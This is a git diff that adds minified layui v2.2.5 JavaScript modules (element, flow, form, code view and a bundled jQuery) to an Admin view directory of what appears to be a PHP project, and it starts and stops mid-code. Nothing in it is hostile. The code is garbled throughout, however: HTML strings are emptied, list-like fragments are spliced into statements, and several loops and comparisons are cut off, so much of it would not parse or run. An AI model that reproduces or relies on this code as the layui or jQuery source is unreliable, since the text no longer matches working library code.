i=this,n=i.config;e=e||1,n.index=n.index+e,n.index>=i.elemItem.length&&(n.index=0)},m.prototype.subIndex=function(e){var i=this,n=i.config;e=e||1,n.index=n.index-e,n.index<0&&(n.index=i.elemItem.length-1)},m.prototype.autoplay=function(){var e=this,i=e.config;i.autoplay&&(e.timer=setInterval(function(){e.slide()},i.interval))},m.prototype.arrow=function(){var e=this,n=e.config,t=i(['",'"].join(""));n.elem.attr("lay-arrow",n.arrow),n.elem.find("."+u)[0]&&n.elem.find("."+u).remove(),n.elem.append(t),t.on("click",function(){var n=i(this),t=n.attr("lay-type");e.slide(t)})},m.prototype.indicator=function(){var e=this,n=e.config,t=e.elemInd=i(['
      ',function(){var i=[];return layui.each(e.elemItem,function(e){i.push("")}),i.join("")}(),"
    "].join(""));n.elem.attr("lay-indicator",n.indicator),n.elem.find("."+c)[0]&&n.elem.find("."+c).remove(),n.elem.append(t),"updown"===n.anim&&t.css("margin-top",-(t.height()/2)),t.find("li").on("hover"===n.trigger?"mouseover":n.trigger,function(){var t=i(this),a=t.index();a>n.index?e.slide("add",a-n.index):a/g,">").replace(/'/g,"'").replace(/"/g,""")),c.html('
    1. '+o.replace(/[\r\t\n]+/g,"
    2. ")+"
    "),c.find(">.layui-code-h3")[0]||c.prepend('

    '+(c.attr("lay-title")||e.title||"code")+(e.about?'layui.code':"")+"

    ");var d=c.find(">.layui-code-ol");c.addClass("layui-box layui-code-view"),(c.attr("lay-skin")||e.skin)&&c.addClass("layui-code-"+(c.attr("lay-skin")||e.skin)),(d.find("li").length/100|0)>0&&d.css("margin-left",(d.find("li").length/100|0)+"px"),(c.attr("lay-height")||e.height)&&d.css("max-height",c.attr("lay-height")||e.height)})})}).addcss("modules/code.css","skincodecss"); \ No newline at end of file diff --git a/application/view/Admin/layui/lay/modules/element.js b/application/view/Admin/layui/lay/modules/element.js new file mode 100644 index 0000000..d469ba0 --- /dev/null +++ b/application/view/Admin/layui/lay/modules/element.js @@ -0,0 +1,2 @@ +/** layui-v2.2.5 MIT License By https://www.layui.com */ + ;layui.define("jquery",function(i){"use strict";var t=layui.$,a=(layui.hint(),layui.device()),e="element",l="layui-this",n="layui-show",s=function(){this.config={}};s.prototype.set=function(i){var a=this;return t.extend(!0,a.config,i),a},s.prototype.on=function(i,t){return layui.onevent.call(this,e,i,t)},s.prototype.tabAdd=function(i,a){var e=".layui-tab-title",l=t(".layui-tab[lay-filter="+i+"]"),n=l.children(e),s=n.children(".layui-tab-bar"),o=l.children(".layui-tab-content"),c='
  • '+(a.title||"unnaming")+"
  • ";return s[0]?s.before(c):n.append(c),o.append('
    '+(a.content||"")+"
    "),y.hideTabMore(!0),y.tabAuto(),this},s.prototype.tabDelete=function(i,a){var e=".layui-tab-title",l=t(".layui-tab[lay-filter="+i+"]"),n=l.children(e),s=n.find('>li[lay-id="'+a+'"]');return y.tabDelete(null,s),this},s.prototype.tabChange=function(i,a){var e=".layui-tab-title",l=t(".layui-tab[lay-filter="+i+"]"),n=l.children(e),s=n.find('>li[lay-id="'+a+'"]');return y.tabClick.call(s[0],null,null,s),this},s.prototype.tab=function(i){i=i||{},v.on("click",i.headerElem,function(a){var e=t(this).index();y.tabClick.call(this,a,e,null,i)})},s.prototype.progress=function(i,a){var e="layui-progress",l=t("."+e+"[lay-filter="+i+"]"),n=l.find("."+e+"-bar"),s=n.find("."+e+"-text");return n.css("width",a),s.text(a),this};var o=".layui-nav",c="layui-nav-item",r="layui-nav-bar",u="layui-nav-tree",d="layui-nav-child",h="layui-nav-more",f="layui-anim layui-anim-upbit",y={tabClick:function(i,a,s,o){o=o||{};var c=s||t(this),a=a||c.parent().children("li").index(c),r=o.headerElem?c.parent():c.parents(".layui-tab").eq(0),u=o.bodyElem?t(o.bodyElem):r.children(".layui-tab-content").children(".layui-tab-item"),d=c.find("a"),h=r.attr("lay-filter");"javascript:;"!==d.attr("href")&&"_blank"===d.attr("target")||(c.addClass(l).siblings().removeClass(l),u.eq(a).addClass(n).siblings().removeClass(n)),layui.event.call(this,e,"tab("+h+")",{elem:r,index:a})},tabDelete:function(i,a){var n=a||t(this).parent(),s=n.index(),o=n.parents(".layui-tab").eq(0),c=o.children(".layui-tab-content").children(".layui-tab-item"),r=o.attr("lay-filter");n.hasClass(l)&&(n.next()[0]?y.tabClick.call(n.next()[0],null,s+1):n.prev()[0]&&y.tabClick.call(n.prev()[0],null,s-1)),n.remove(),c.eq(s).remove(),setTimeout(function(){y.tabAuto()},50),layui.event.call(this,e,"tabDelete("+r+")",{elem:o,index:s})},tabAuto:function(){var i="layui-tab-more",e="layui-tab-bar",l="layui-tab-close",n=this;t(".layui-tab").each(function(){var s=t(this),o=s.children(".layui-tab-title"),c=(s.children(".layui-tab-content").children(".layui-tab-item"),'lay-stope="tabmore"'),r=t('');if(n===window&&8!=a.ie&&y.hideTabMore(!0),s.attr("lay-allowClose")&&o.find("li").each(function(){var i=t(this);if(!i.find("."+l)[0]){var a=t('');a.on("click",y.tabDelete),i.append(a)}}),o.prop("scrollWidth")>o.outerWidth()+1){if(o.find("."+e)[0])return;o.append(r),s.attr("overflow",""),r.on("click",function(t){o[this.title?"removeClass":"addClass"](i),this.title=this.title?"":"收缩"})}else o.find("."+e).remove(),s.removeAttr("overflow")})},hideTabMore:function(i){var a=t(".layui-tab-title");i!==!0&&"tabmore"===t(i.target).attr("lay-stope")||(a.removeClass("layui-tab-more"),a.find(".layui-tab-bar").attr("title",""))},clickThis:function(){var i=t(this),a=i.parents(o),n=a.attr("lay-filter"),s=i.find("a"),c="string"==typeof i.attr("lay-unselect");i.find("."+d)[0]||("javascript:;"!==s.attr("href")&&"_blank"===s.attr("target")||c||(a.find("."+l).removeClass(l),i.addClass(l)),layui.event.call(this,e,"nav("+n+")",i))},clickChild:function(){var i=t(this),a=i.parents(o),n=a.attr("lay-filter");a.find("."+l).removeClass(l),i.addClass(l),layui.event.call(this,e,"nav("+n+")",i)},showChild:function(){var i=t(this),a=i.parents(o),e=i.parent(),l=i.siblings("."+d);a.hasClass(u)&&(l.removeClass(f),e["none"===l.css("display")?"addClass":"removeClass"](c+"ed"))},collapse:function(){var i=t(this),a=i.find(".layui-colla-icon"),l=i.siblings(".layui-colla-content"),s=i.parents(".layui-collapse").eq(0),o=s.attr("lay-filter"),c="none"===l.css("display");if("string"==typeof s.attr("lay-accordion")){var r=s.children(".layui-colla-item").children("."+n);r.siblings(".layui-colla-title").children(".layui-colla-icon").html(""),r.removeClass(n)}l[c?"addClass":"removeClass"](n),a.html(c?"":""),layui.event.call(this,e,"collapse("+o+")",{title:i,content:l,show:c})}};s.prototype.init=function(i,e){var l=function(){return e?'[lay-filter="'+e+'"]':""}(),s={tab:function(){y.tabAuto.call({})},nav:function(){var i=200,e={},s={},p={},v=function(l,o,c){var r=t(this),y=r.find("."+d);o.hasClass(u)?l.css({top:r.position().top,height:r.children("a").height(),opacity:1}):(y.addClass(f),l.css({left:r.position().left+parseFloat(r.css("marginLeft")),top:r.position().top+r.height()-l.height()}),e[c]=setTimeout(function(){l.css({width:r.width(),opacity:1})},a.ie&&a.ie<10?0:i),clearTimeout(p[c]),"block"===y.css("display")&&clearTimeout(s[c]),s[c]=setTimeout(function(){y.addClass(n),r.find("."+h).addClass(h+"d")},300))};t(o+l).each(function(a){var l=t(this),o=t(''),f=l.find("."+c);l.find("."+r)[0]||(l.append(o),f.on("mouseenter",function(){v.call(this,o,l,a)}).on("mouseleave",function(){l.hasClass(u)||(clearTimeout(s[a]),s[a]=setTimeout(function(){l.find("."+d).removeClass(n),l.find("."+h).removeClass(h+"d")},300))}),l.on("mouseleave",function(){clearTimeout(e[a]),p[a]=setTimeout(function(){l.hasClass(u)?o.css({height:0,top:o.position().top+o.height()/2,opacity:0}):o.css({width:0,left:o.position().left+o.width()/2,opacity:0})},i)})),f.each(function(){var i=t(this),a=i.find("."+d);if(a[0]&&!i.find("."+h)[0]){var e=i.children("a");e.append('')}i.off("click",y.clickThis).on("click",y.clickThis),i.children("a").off("click",y.showChild).on("click",y.showChild),a.children("dd").off("click",y.clickChild).on("click",y.clickChild)})})},breadcrumb:function(){var i=".layui-breadcrumb";t(i+l).each(function(){var i=t(this),a="lay-separator",e=i.attr(a)||"/",l=i.find("a");l.next("span["+a+"]")[0]||(l.each(function(i){i!==l.length-1&&t(this).after(""+e+"")}),i.css("visibility","visible"))})},progress:function(){var i="layui-progress";t("."+i+l).each(function(){var a=t(this),e=a.find(".layui-progress-bar"),l=e.attr("lay-percent");e.css("width",function(){return/^.+\/.+$/.test(l)?100*new Function("return "+l)()+"%":l}()),a.attr("lay-showPercent")&&setTimeout(function(){e.html(''+l+"")},350)})},collapse:function(){var i="layui-collapse";t("."+i+l).each(function(){var i=t(this).find(".layui-colla-item");i.each(function(){var i=t(this),a=i.find(".layui-colla-title"),e=i.find(".layui-colla-content"),l="none"===e.css("display");a.find(".layui-colla-icon").remove(),a.append(''+(l?"":"")+""),a.off("click",y.collapse).on("click",y.collapse)})})}};return s[i]?s[i]():layui.each(s,function(i,t){t()})},s.prototype.render=s.prototype.init;var p=new s,v=t(document);p.render();var b=".layui-tab-title li";v.on("click",b,y.tabClick),v.on("click",y.hideTabMore),t(window).on("resize",y.tabAuto),i(e,p)}); \ No newline at end of file diff --git a/application/view/Admin/layui/lay/modules/flow.js b/application/view/Admin/layui/lay/modules/flow.js new file mode 100644 index 0000000..501df15 --- /dev/null +++ b/application/view/Admin/layui/lay/modules/flow.js @@ -0,0 +1,2 @@ +/** layui-v2.2.5 MIT License By https://www.layui.com */ + ;layui.define("jquery",function(e){"use strict";var l=layui.$,o=function(e){},t='';o.prototype.load=function(e){var o,i,n,r,a=this,c=0;e=e||{};var f=l(e.elem);if(f[0]){var m=l(e.scrollElem||document),u=e.mb||50,s=!("isAuto"in e)||e.isAuto,v=e.end||"没有更多了",y=e.scrollElem&&e.scrollElem!==document,d="加载更多",h=l('");f.find(".layui-flow-more")[0]||f.append(h);var p=function(e,t){e=l(e),h.before(e),t=0==t||null,t?h.html(v):h.find("a").html(d),i=t,o=null,n&&n()},g=function(){o=!0,h.find("a").html(t),"function"==typeof e.done&&e.done(++c,p)};if(g(),h.find("a").on("click",function(){l(this);i||o||g()}),e.isLazyimg)var n=a.lazyimg({elem:e.elem+" img",scrollElem:e.scrollElem});return s?(m.on("scroll",function(){var e=l(this),t=e.scrollTop();r&&clearTimeout(r),i||(r=setTimeout(function(){var i=y?e.height():l(window).height(),n=y?e.prop("scrollHeight"):document.documentElement.scrollHeight;n-t-i<=u&&(o||g())},100))}),a):a}},o.prototype.lazyimg=function(e){var o,t=this,i=0;e=e||{};var n=l(e.scrollElem||document),r=e.elem||"img",a=e.scrollElem&&e.scrollElem!==document,c=function(e,l){var o=n.scrollTop(),r=o+l,c=a?function(){return e.offset().top-n.offset().top+o}():e.offset().top;if(c>=o&&c<=r&&!e.attr("src")){var m=e.attr("lay-src");layui.img(m,function(){var l=t.lazyimg.elem.eq(i);e.attr("src",m).removeAttr("lay-src"),l[0]&&f(l),i++})}},f=function(e,o){var f=a?(o||n).height():l(window).height(),m=n.scrollTop(),u=m+f;if(t.lazyimg.elem=l(r),e)c(e,f);else for(var s=0;su)break}};if(f(),!o){var m;n.on("scroll",function(){var e=l(this);m&&clearTimeout(m),m=setTimeout(function(){f(null,e)},50)}),o=!0}return f},e("flow",new o)}); \ No newline at end of file diff --git a/application/view/Admin/layui/lay/modules/form.js b/application/view/Admin/layui/lay/modules/form.js new file mode 100644 index 0000000..2727939 --- /dev/null +++ b/application/view/Admin/layui/lay/modules/form.js @@ -0,0 +1,2 @@ +/** layui-v2.2.5 MIT License By https://www.layui.com */ + ;layui.define("layer",function(e){"use strict";var t=layui.$,i=layui.layer,a=layui.hint(),n=layui.device(),l="form",r=".layui-form",s="layui-this",o="layui-hide",u="layui-disabled",c=function(){this.config={verify:{required:[/[\S]+/,"必填项不能为空"],phone:[/^1\d{10}$/,"请输入正确的手机号"],email:[/^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/,"邮箱格式不正确"],url:[/(^#)|(^http(s*):\/\/[^\s]+\.[^\s]+)/,"链接格式不正确"],number:function(e){if(!e||isNaN(e))return"只能填写数字"},date:[/^(\d{4})[-\/](\d{1}|0\d{1}|1[0-2])([-\/](\d{1}|0\d{1}|[1-2][0-9]|3[0-1]))*$/,"日期格式不正确"],identity:[/(^\d{15}$)|(^\d{17}(x|X|\d)$)/,"请输入正确的身份证号"]}}};c.prototype.set=function(e){var i=this;return t.extend(!0,i.config,e),i},c.prototype.verify=function(e){var i=this;return t.extend(!0,i.config.verify,e),i},c.prototype.on=function(e,t){return layui.onevent.call(this,l,e,t)},c.prototype.render=function(e,i){var n=this,c=t(r+function(){return i?'[lay-filter="'+i+'"]':""}()),d={select:function(){var e,i="请选择",a="layui-form-select",n="layui-select-title",r="layui-select-none",d="",f=c.find("select"),y=function(i,l){t(i.target).parent().hasClass(n)&&!l||(t("."+a).removeClass(a+"ed "+a+"up"),e&&d&&e.val(d)),e=null},h=function(i,c,f){var h=t(this),p=i.find("."+n),m=p.find("input"),k=i.find("dl"),g=k.children("dd");if(!c){var x=function(){var e=i.offset().top+i.outerHeight()+5-v.scrollTop(),t=k.outerHeight();i.addClass(a+"ed"),g.removeClass(o),e+t>v.height()&&e>=t&&i.addClass(a+"up")},b=function(e){i.removeClass(a+"ed "+a+"up"),m.blur(),e||C(m.val(),function(e){e&&(d=k.find("."+s).html(),m&&m.val(d))})};p.on("click",function(e){i.hasClass(a+"ed")?b():(y(e,!0),x()),k.find("."+r).remove()}),p.find(".layui-edge").on("click",function(){m.focus()}),m.on("keyup",function(e){var t=e.keyCode;9===t&&x()}).on("keydown",function(e){var t=e.keyCode;9===t?b():13===t&&e.preventDefault()});var C=function(e,i,a){var n=0;layui.each(g,function(){var i=t(this),l=i.text(),r=l.indexOf(e)===-1;(""===e||"blur"===a?e!==l:r)&&n++,"keyup"===a&&i[r?"addClass":"removeClass"](o)});var l=n===g.length;return i(l),l},w=function(e){var t=this.value,i=e.keyCode;return 9!==i&&13!==i&&37!==i&&38!==i&&39!==i&&40!==i&&(C(t,function(e){e?k.find("."+r)[0]||k.append('

    无匹配项

    '):k.find("."+r).remove()},"keyup"),void(""===t&&k.find("."+r).remove()))};f&&m.on("keyup",w).on("blur",function(t){e=m,d=k.find("."+s).html(),setTimeout(function(){C(m.val(),function(e){d||m.val("")},"blur")},200)}),g.on("click",function(){var e=t(this),a=e.attr("lay-value"),n=h.attr("lay-filter");return!e.hasClass(u)&&(e.hasClass("layui-select-tips")?m.val(""):(m.val(e.text()),e.addClass(s)),e.siblings().removeClass(s),h.val(a).removeClass("layui-form-danger"),layui.event.call(this,l,"select("+n+")",{elem:h[0],value:a,othis:i}),b(!0),!1)}),i.find("dl>dt").on("click",function(e){return!1}),t(document).off("click",y).on("click",y)}};f.each(function(e,l){var r=t(this),o=r.next("."+a),c=this.disabled,d=l.value,f=t(l.options[l.selectedIndex]),y=l.options[0];if("string"==typeof r.attr("lay-ignore"))return r.show();var v="string"==typeof r.attr("lay-search"),p=y?y.value?i:y.innerHTML||i:i,m=t(['
    ','
    ','
    ','
    '+function(e){var t=[];return layui.each(e,function(e,a){0!==e||a.value?"optgroup"===a.tagName.toLowerCase()?t.push("
    "+a.label+"
    "):t.push('
    '+a.innerHTML+"
    "):t.push('
    '+(a.innerHTML||i)+"
    ")}),0===t.length&&t.push('
    没有选项
    '),t.join("")}(r.find("*"))+"
    ","
    "].join(""));o[0]&&o.remove(),r.after(m),h.call(this,m,c,v)})},checkbox:function(){var e={checkbox:["layui-form-checkbox","layui-form-checked","checkbox"],_switch:["layui-form-switch","layui-form-onswitch","switch"]},i=c.find("input[type=checkbox]"),a=function(e,i){var a=t(this);e.on("click",function(){var t=a.attr("lay-filter"),n=(a.attr("lay-text")||"").split("|");a[0].disabled||(a[0].checked?(a[0].checked=!1,e.removeClass(i[1]).find("em").text(n[1])):(a[0].checked=!0,e.addClass(i[1]).find("em").text(n[0])),layui.event.call(a[0],l,i[2]+"("+t+")",{elem:a[0],value:a[0].value,othis:e}))})};i.each(function(i,n){var l=t(this),r=l.attr("lay-skin"),s=(l.attr("lay-text")||"").split("|"),o=this.disabled;"switch"===r&&(r="_"+r);var c=e[r]||e.checkbox;if("string"==typeof l.attr("lay-ignore"))return l.show();var d=l.next("."+c[0]),f=t(['
    ',{_switch:""+((n.checked?s[0]:s[1])||"")+""}[r]||(n.title.replace(/\s/g,"")?""+n.title+"":"")+''+(r?"":"")+"","
    "].join(""));d[0]&&d.remove(),l.after(f),a.call(this,f,c)})},radio:function(){var e="layui-form-radio",i=["",""],a=c.find("input[type=radio]"),n=function(a){var n=t(this),s="layui-anim-scaleSpring";a.on("click",function(){var o=n[0].name,u=n.parents(r),c=n.attr("lay-filter"),d=u.find("input[name="+o.replace(/(\.|#|\[|\])/g,"\\$1")+"]");n[0].disabled||(layui.each(d,function(){var a=t(this).next("."+e);this.checked=!1,a.removeClass(e+"ed"),a.find(".layui-icon").removeClass(s).html(i[1])}),n[0].checked=!0,a.addClass(e+"ed"),a.find(".layui-icon").addClass(s).html(i[0]),layui.event.call(n[0],l,"radio("+c+")",{elem:n[0],value:n[0].value,othis:a}))})};a.each(function(a,l){var r=t(this),s=r.next("."+e),o=this.disabled;if("string"==typeof r.attr("lay-ignore"))return r.show();s[0]&&s.remove();var c=t(['
    ',''+i[l.checked?0:1]+"","
    "+function(){var e=l.title||"";return"string"==typeof r.next().attr("lay-radio")&&(e=r.next().html(),r.next().remove()),e}()+"
    ","
    "].join(""));r.after(c),n.call(this,c)})}};return e?d[e]?d[e]():a.error("不支持的"+e+"表单渲染"):layui.each(d,function(e,t){t()}),n};var d=function(){var e=t(this),a=f.config.verify,s=null,o="layui-form-danger",u={},c=e.parents(r),d=c.find("*[lay-verify]"),y=e.parents("form")[0],v=c.find("input,select,textarea"),h=e.attr("lay-filter");if(layui.each(d,function(e,l){var r=t(this),u=r.attr("lay-verify").split("|"),c=r.attr("lay-verType"),d=r.val();if(r.removeClass(o),layui.each(u,function(e,t){var u,f="",y="function"==typeof a[t];if(a[t]){var u=y?f=a[t](d,l):!a[t][0].test(d);if(f=f||a[t][1],u)return"tips"===c?i.tips(f,function(){return"string"==typeof r.attr("lay-ignore")||"select"!==l.tagName.toLowerCase()&&!/^checkbox|radio$/.test(l.type)?r:r.next()}(),{tips:1}):"alert"===c?i.alert(f,{title:"提示",shadeClose:!0}):i.msg(f,{icon:5,shift:6}),n.android||n.ios||l.focus(),r.addClass(o),s=!0}}),s)return s}),s)return!1;var p={};return layui.each(v,function(e,t){if(t.name=(t.name||"").replace(/^\s*|\s*&/,""),t.name){if(/^.*\[\]$/.test(t.name)){var i=t.name.match(/^(.*)\[\]$/g)[0];p[i]=0|p[i],t.name=t.name.replace(/^(.*)\[\]$/,"$1["+p[i]++ +"]")}/^checkbox|radio$/.test(t.type)&&!t.checked||(u[t.name]=t.value)}}),layui.event.call(this,l,"submit("+h+")",{elem:this,form:y,field:u})},f=new c,y=t(document),v=t(window);f.render(),y.on("reset",r,function(){var e=t(this).attr("lay-filter");setTimeout(function(){f.render(null,e)},50)}),y.on("submit",r,d).on("click","*[lay-submit]",d),e(l,f)}); \ No newline at end of file diff --git a/application/view/Admin/layui/lay/modules/jquery.js b/application/view/Admin/layui/lay/modules/jquery.js new file mode 100644 index 0000000..c0ca71f --- /dev/null +++ b/application/view/Admin/layui/lay/modules/jquery.js @@ -0,0 +1,5 @@ +/** layui-v2.2.5 MIT License By https://www.layui.com */ + ;!function(e,t){"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){function n(e){var t=!!e&&"length"in e&&e.length,n=pe.type(e);return"function"!==n&&!pe.isWindow(e)&&("array"===n||0===t||"number"==typeof t&&t>0&&t-1 in e)}function r(e,t,n){if(pe.isFunction(t))return pe.grep(e,function(e,r){return!!t.call(e,r,e)!==n});if(t.nodeType)return pe.grep(e,function(e){return e===t!==n});if("string"==typeof t){if(Ce.test(t))return pe.filter(t,e,n);t=pe.filter(t,e)}return pe.grep(e,function(e){return pe.inArray(e,t)>-1!==n})}function i(e,t){do e=e[t];while(e&&1!==e.nodeType);return e}function o(e){var t={};return pe.each(e.match(De)||[],function(e,n){t[n]=!0}),t}function a(){re.addEventListener?(re.removeEventListener("DOMContentLoaded",s),e.removeEventListener("load",s)):(re.detachEvent("onreadystatechange",s),e.detachEvent("onload",s))}function s(){(re.addEventListener||"load"===e.event.type||"complete"===re.readyState)&&(a(),pe.ready())}function u(e,t,n){if(void 0===n&&1===e.nodeType){var r="data-"+t.replace(_e,"-$1").toLowerCase();if(n=e.getAttribute(r),"string"==typeof n){try{n="true"===n||"false"!==n&&("null"===n?null:+n+""===n?+n:qe.test(n)?pe.parseJSON(n):n)}catch(i){}pe.data(e,t,n)}else n=void 0}return n}function l(e){var t;for(t in e)if(("data"!==t||!pe.isEmptyObject(e[t]))&&"toJSON"!==t)return!1;return!0}function c(e,t,n,r){if(He(e)){var i,o,a=pe.expando,s=e.nodeType,u=s?pe.cache:e,l=s?e[a]:e[a]&&a;if(l&&u[l]&&(r||u[l].data)||void 0!==n||"string"!=typeof t)return l||(l=s?e[a]=ne.pop()||pe.guid++:a),u[l]||(u[l]=s?{}:{toJSON:pe.noop}),"object"!=typeof t&&"function"!=typeof t||(r?u[l]=pe.extend(u[l],t):u[l].data=pe.extend(u[l].data,t)),o=u[l],r||(o.data||(o.data={}),o=o.data),void 0!==n&&(o[pe.camelCase(t)]=n),"string"==typeof t?(i=o[t],null==i&&(i=o[pe.camelCase(t)])):i=o,i}}function f(e,t,n){if(He(e)){var r,i,o=e.nodeType,a=o?pe.cache:e,s=o?e[pe.expando]:pe.expando;if(a[s]){if(t&&(r=n?a[s]:a[s].data)){pe.isArray(t)?t=t.concat(pe.map(t,pe.camelCase)):t in r?t=[t]:(t=pe.camelCase(t),t=t in r?[t]:t.split(" ")),i=t.length;for(;i--;)delete r[t[i]];if(n?!l(r):!pe.isEmptyObject(r))return}(n||(delete a[s].data,l(a[s])))&&(o?pe.cleanData([e],!0):fe.deleteExpando||a!=a.window?delete a[s]:a[s]=void 0)}}}function d(e,t,n,r){var i,o=1,a=20,s=r?function(){return r.cur()}:function(){return pe.css(e,t,"")},u=s(),l=n&&n[3]||(pe.cssNumber[t]?"":"px"),c=(pe.cssNumber[t]||"px"!==l&&+u)&&Me.exec(pe.css(e,t));if(c&&c[3]!==l){l=l||c[3],n=n||[],c=+u||1;do o=o||".5",c/=o,pe.style(e,t,c+l);while(o!==(o=s()/u)&&1!==o&&--a)}return n&&(c=+c||+u||0,i=n[1]?c+(n[1]+1)*n[2]:+n[2],r&&(r.unit=l,r.start=c,r.end=i)),i}function p(e){var t=ze.split("|"),n=e.createDocumentFragment();if(n.createElement)for(;t.length;)n.createElement(t.pop());return n}function h(e,t){var n,r,i=0,o="undefined"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||"*"):"undefined"!=typeof e.querySelectorAll?e.querySelectorAll(t||"*"):void 0;if(!o)for(o=[],n=e.childNodes||e;null!=(r=n[i]);i++)!t||pe.nodeName(r,t)?o.push(r):pe.merge(o,h(r,t));return void 0===t||t&&pe.nodeName(e,t)?pe.merge([e],o):o}function g(e,t){for(var n,r=0;null!=(n=e[r]);r++)pe._data(n,"globalEval",!t||pe._data(t[r],"globalEval"))}function m(e){Be.test(e.type)&&(e.defaultChecked=e.checked)}function y(e,t,n,r,i){for(var o,a,s,u,l,c,f,d=e.length,y=p(t),v=[],x=0;x"!==f[1]||Ve.test(a)?0:u:u.firstChild,o=a&&a.childNodes.length;o--;)pe.nodeName(c=a.childNodes[o],"tbody")&&!c.childNodes.length&&a.removeChild(c);for(pe.merge(v,u.childNodes),u.textContent="";u.firstChild;)u.removeChild(u.firstChild);u=y.lastChild}else v.push(t.createTextNode(a));for(u&&y.removeChild(u),fe.appendChecked||pe.grep(h(v,"input"),m),x=0;a=v[x++];)if(r&&pe.inArray(a,r)>-1)i&&i.push(a);else if(s=pe.contains(a.ownerDocument,a),u=h(y.appendChild(a),"script"),s&&g(u),n)for(o=0;a=u[o++];)Ie.test(a.type||"")&&n.push(a);return u=null,y}function v(){return!0}function x(){return!1}function b(){try{return re.activeElement}catch(e){}}function w(e,t,n,r,i,o){var a,s;if("object"==typeof t){"string"!=typeof n&&(r=r||n,n=void 0);for(s in t)w(e,s,n,r,t[s],o);return e}if(null==r&&null==i?(i=n,r=n=void 0):null==i&&("string"==typeof n?(i=r,r=void 0):(i=r,r=n,n=void 0)),i===!1)i=x;else if(!i)return e;return 1===o&&(a=i,i=function(e){return pe().off(e),a.apply(this,arguments)},i.guid=a.guid||(a.guid=pe.guid++)),e.each(function(){pe.event.add(this,t,i,r,n)})}function T(e,t){return pe.nodeName(e,"table")&&pe.nodeName(11!==t.nodeType?t:t.firstChild,"tr")?e.getElementsByTagName("tbody")[0]||e.appendChild(e.ownerDocument.createElement("tbody")):e}function C(e){return e.type=(null!==pe.find.attr(e,"type"))+"/"+e.type,e}function E(e){var t=it.exec(e.type);return t?e.type=t[1]:e.removeAttribute("type"),e}function N(e,t){if(1===t.nodeType&&pe.hasData(e)){var n,r,i,o=pe._data(e),a=pe._data(t,o),s=o.events;if(s){delete a.handle,a.events={};for(n in s)for(r=0,i=s[n].length;r1&&"string"==typeof p&&!fe.checkClone&&rt.test(p))return e.each(function(i){var o=e.eq(i);g&&(t[0]=p.call(this,i,o.html())),S(o,t,n,r)});if(f&&(l=y(t,e[0].ownerDocument,!1,e,r),i=l.firstChild,1===l.childNodes.length&&(l=i),i||r)){for(s=pe.map(h(l,"script"),C),a=s.length;c")).appendTo(t.documentElement),t=(ut[0].contentWindow||ut[0].contentDocument).document,t.write(),t.close(),n=D(e,t),ut.detach()),lt[e]=n),n}function L(e,t){return{get:function(){return e()?void delete this.get:(this.get=t).apply(this,arguments)}}}function H(e){if(e in Et)return e;for(var t=e.charAt(0).toUpperCase()+e.slice(1),n=Ct.length;n--;)if(e=Ct[n]+t,e in Et)return e}function q(e,t){for(var n,r,i,o=[],a=0,s=e.length;a=0&&n=0},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},isPlainObject:function(e){var t;if(!e||"object"!==pe.type(e)||e.nodeType||pe.isWindow(e))return!1;try{if(e.constructor&&!ce.call(e,"constructor")&&!ce.call(e.constructor.prototype,"isPrototypeOf"))return!1}catch(n){return!1}if(!fe.ownFirst)for(t in e)return ce.call(e,t);for(t in e);return void 0===t||ce.call(e,t)},type:function(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?ue[le.call(e)]||"object":typeof e},globalEval:function(t){t&&pe.trim(t)&&(e.execScript||function(t){e.eval.call(e,t)})(t)},camelCase:function(e){return e.replace(ge,"ms-").replace(me,ye)},nodeName:function(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()},each:function(e,t){var r,i=0;if(n(e))for(r=e.length;iT.cacheLength&&delete e[t.shift()],e[n+" "]=r}var t=[];return e}function r(e){return e[P]=!0,e}function i(e){var t=H.createElement("div");try{return!!e(t)}catch(n){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function o(e,t){for(var n=e.split("|"),r=n.length;r--;)T.attrHandle[n[r]]=t}function a(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&(~t.sourceIndex||V)-(~e.sourceIndex||V);if(r)return r;if(n)for(;n=n.nextSibling;)if(n===t)return-1;return e?1:-1}function s(e){return function(t){var n=t.nodeName.toLowerCase();return"input"===n&&t.type===e}}function u(e){return function(t){var n=t.nodeName.toLowerCase();return("input"===n||"button"===n)&&t.type===e}}function l(e){return r(function(t){return t=+t,r(function(n,r){for(var i,o=e([],n.length,t),a=o.length;a--;)n[i=o[a]]&&(n[i]=!(r[i]=n[i]))})})}function c(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}function f(){}function d(e){for(var t=0,n=e.length,r="";t1?function(t,n,r){for(var i=e.length;i--;)if(!e[i](t,n,r))return!1;return!0}:e[0]}function g(e,n,r){for(var i=0,o=n.length;i-1&&(r[l]=!(a[l]=f))}}else x=m(x===a?x.splice(h,x.length):x),o?o(null,a,x,u):Q.apply(a,x)})}function v(e){for(var t,n,r,i=e.length,o=T.relative[e[0].type],a=o||T.relative[" "],s=o?1:0,u=p(function(e){return e===t},a,!0),l=p(function(e){return ee(t,e)>-1},a,!0),c=[function(e,n,r){var i=!o&&(r||n!==A)||((t=n).nodeType?u(e,n,r):l(e,n,r));return t=null,i}];s1&&h(c),s>1&&d(e.slice(0,s-1).concat({value:" "===e[s-2].type?"*":""})).replace(se,"$1"),n,s0,o=e.length>0,a=function(r,a,s,u,l){var c,f,d,p=0,h="0",g=r&&[],y=[],v=A,x=r||o&&T.find.TAG("*",l),b=W+=null==v?1:Math.random()||.1,w=x.length;for(l&&(A=a===H||a||l);h!==w&&null!=(c=x[h]);h++){if(o&&c){for(f=0,a||c.ownerDocument===H||(L(c),s=!_);d=e[f++];)if(d(c,a||H,s)){u.push(c);break}l&&(W=b)}i&&((c=!d&&c)&&p--,r&&g.push(c))}if(p+=h,i&&h!==p){for(f=0;d=n[f++];)d(g,y,a,s);if(r){if(p>0)for(;h--;)g[h]||y[h]||(y[h]=G.call(u));y=m(y)}Q.apply(u,y),l&&!r&&y.length>0&&p+n.length>1&&t.uniqueSort(u)}return l&&(W=b,A=v),g};return i?r(a):a}var 